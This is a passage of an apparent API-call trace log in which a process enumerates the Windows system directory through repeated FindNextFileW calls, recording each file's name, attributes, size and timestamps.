ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9f52c4b0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x9f52c4b0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="addins", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdb0c77c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdb0c77c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCompat", cAlternateFileName="APPCOM~1")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb328d6, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5d6c2e00, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x5d6c2e00, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppPatch", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfdb58a30, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5083df00, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5083df00, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="assembly", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97675415, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x97675415, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x977f21d7, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="bfsvc.exe", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfde52538, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x24, ftCreationTime.dwLowDateTime=0x5562e640, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x5562e640, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x62c48a60, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootstat.dat", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Branding", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x98abb4cc, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaad14480, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0xaad14480, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CSC", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe36132c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Cursors", cAlternateFileName="")) returned 1 [0118.173] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf8a36d94, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0x782cee30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x782cee30, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="debug", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800b91b1, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x800b91b1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x800b91b1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="diagnostics", cAlternateFileName="DIAGNO~1")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3763cf0c, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa9eeab22, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigitalLocker", cAlternateFileName="DIGITA~1")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x806ac8bc, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x806ac8bc, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloaded Program Files", cAlternateFileName="DOWNLO~1")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffb94625, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xffb94625, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xc42eeb80, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0xae6, dwReserved0=0x0, dwReserved1=0x0, cFileName="DtcInstall.log", cAlternateFileName="DTCINS~1.LOG")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x996cd9eb, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xa9fa1e6a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9cf49440, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ehome", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3757e82b, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x23fb0799, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2bd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="explorer.exe", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x87c438a0, ftLastAccessTime.dwHighDateTime=0x1d70912, ftLastWriteTime.dwLowDateTime=0x87c438a0, ftLastWriteTime.dwHighDateTime=0x1d70912, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0a7e9b0, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0xc0a7e9b0, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xe2da8a60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="fveupdate.exe", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe387486, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9340f25, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xe9340f25, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Globalization", cAlternateFileName="GLOBAL~1")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe3f9894, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d967bdb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d967bdb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x34a5a972, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x34a5a972, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpPane.exe", cAlternateFileName="")) returned 1 [0118.174] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x16ca6ff3, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x16ca6ff3, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xe391cc70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="hh.exe", cAlternateFileName="")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe445b48, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3763cf0c, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3763cf0c, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IME", cAlternateFileName="")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe50420a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x678d9360, ftLastAccessTime.dwHighDateTime=0x1d85957, ftLastWriteTime.dwLowDateTime=0x678d9360, ftLastWriteTime.dwHighDateTime=0x1d85957, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="inf", cAlternateFileName="")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x5031f80, ftCreationTime.dwHighDateTime=0x1d706ab, ftLastAccessTime.dwLowDateTime=0x57fb4f20, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x57fb4f20, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80b6f4c5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80b6f4c5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="L2Schemas", cAlternateFileName="L2SCHE~1")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe60eb80, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LiveKernelReports", cAlternateFileName="LIVEKE~1")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x24316f70, ftLastAccessTime.dwHighDateTime=0x1d706af, ftLastWriteTime.dwLowDateTime=0x24316f70, ftLastWriteTime.dwHighDateTime=0x1d706af, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x15, ftCreationTime.dwLowDateTime=0xfe60eb80, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8105822e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8105822e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media", cAlternateFileName="")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f29dbd7, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x7f29dbd7, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9d4aec0c, ftLastWriteTime.dwHighDateTime=0x1ca040e, nFileSizeHigh=0x0, nFileSizeLow=0xa87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="mib.bin", cAlternateFileName="")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe6f339c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5d2bf3f0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5d2bf3f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf40e6d30, ftCreationTime.dwHighDateTime=0x1d706ad, ftLastAccessTime.dwLowDateTime=0xf40e6d30, ftLastAccessTime.dwHighDateTime=0x1d706ad, ftLastWriteTime.dwLowDateTime=0xf40e6d30, ftLastWriteTime.dwHighDateTime=0x1d706ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Migration", cAlternateFileName="MIGRAT~1")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea5f2b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfea5f2b2, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9fcbcbb0, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ModemLogs", cAlternateFileName="MODEML~1")) returned 1 [0118.175] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc82fedc8, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xc82fedc8, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x2d6b0bf3, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x57d, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdfmap.ini", cAlternateFileName="")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8eb2c4cd, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x8eb2c4cd, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0xeb804920, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x2f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="notepad.exe", cAlternateFileName="")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x810320ce, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x810320ce, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Offline Web Pages", cAlternateFileName="OFFLIN~1")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc595ee0, ftCreationTime.dwHighDateTime=0x1d8a6e9, ftLastAccessTime.dwLowDateTime=0xc595ee0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0xc595ee0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PCHEALTH", cAlternateFileName="")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80046d91, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80046d91, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Performance", cAlternateFileName="PERFOR~1")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4e1cc01, ftCreationTime.dwHighDateTime=0x1cb892e, ftLastAccessTime.dwLowDateTime=0xc4e1cc01, ftLastAccessTime.dwHighDateTime=0x1cb892e, ftLastWriteTime.dwLowDateTime=0x88f8a140, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x678c, dwReserved0=0x0, dwReserved1=0x0, cFileName="PFRO.log", cAlternateFileName="")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea8540c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfeaf781a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfeaf781a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PLA", cAlternateFileName="")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfeb1d974, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x495c5340, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x495c5340, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PolicyDefinitions", cAlternateFileName="POLICY~1")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xab5b5440, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x8f9bf0f0, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x8f9bf0f0, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prefetch", cAlternateFileName="")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf9a5c4e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf9cbebd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x5b155ccd, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xd12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Professional.xml", cAlternateFileName="PROFES~1.XML")) returned 1 [0118.176] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71a7c91c, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x71a7c91c, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0xedf95f70, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x68400, dwReserved0=0x0, dwReserved1=0x0, cFileName="regedit.exe", cAlternateFileName="")) returned 1 [0118.177] FindNextFileW (in: hFindFile=0x1a962260, lpFindFileData=0x1bb7e870 | out: 